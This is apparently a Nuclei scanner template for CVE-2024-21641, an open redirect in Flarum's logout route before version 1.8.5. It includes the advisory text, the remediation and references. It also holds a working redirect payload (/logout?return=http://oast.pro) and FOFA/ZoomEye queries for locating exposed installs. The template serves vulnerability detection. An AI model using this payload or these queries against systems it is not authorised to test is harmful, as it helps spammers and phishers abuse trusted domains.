Flarum is open source discussion platform software. Prior to version 1.8.5, the Flarum `/logout` route includes a redirect parameter that allows any third party to redirect users from a (trusted) domain of the Flarum installation to redirect to any link. For logged-in users, the logout must be confirmed. Guests are immediately redirected. This could be used by spammers to redirect to a web address using a trusted domain of a running Flarum installation.
PoC代码[已公开]
id: CVE-2024-21641
info:
name: Flarum < 1.8.5 - Open Redirect
author: kking
severity: medium
description: |
Flarum is open source discussion platform software. Prior to version 1.8.5, the Flarum `/logout` route includes a redirect parameter that allows any third party to redirect users from a (trusted) domain of the Flarum installation to redirect to any link. For logged-in users, the logout must be confirmed. Guests are immediately redirected. This could be used by spammers to redirect to a web address using a trusted domain of a running Flarum installation.
remediation: |
The vulnerability has been fixed and published as flarum/core v1.8.5. As a workaround, some extensions modifying the logout route can remedy this issue if their implementation is safe.
reference:
- https://github.com/flarum/framework/security/advisories/GHSA-733r-8xcp-w9mr
- https://github.com/flarum/flarum-core/commit/ee8b3b4ad1413a2b0971fdd9e40f812d2a3a9d3a
- https://nvd.nist.gov/vuln/detail/CVE-2024-21641
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N
cvss-score: 4.7
cve-id: CVE-2024-21641
cwe-id: CWE-601
epss-score: 0.38195
epss-percentile: 0.97061
cpe: cpe:2.3:a:flarum:flarum:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: flarum
product: flarum
fofa-query: header="flarum_session="
zoomeye-query: app="Flarum"
tags: cve,cve2024,flarum,redirect,vuln
http:
- method: GET
path:
- "{{BaseURL}}/logout?return=http://oast.pro"
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro\/?(\/|[^.].*)?$'
- "Set-Cookie: flarum_session="
condition: and
- type: status
status:
- 302
# digest: 4a0a0047304502206e5b6d0bff04b7f0561f62ae632d8ee06b0a965834d62a6971a413fbf2963935022100cb31282a3e2d814c76c4c4d26cde2126ec93ac1659c2522ab5aa05f587859c24:922c64590222798bb761d5b6d8e72950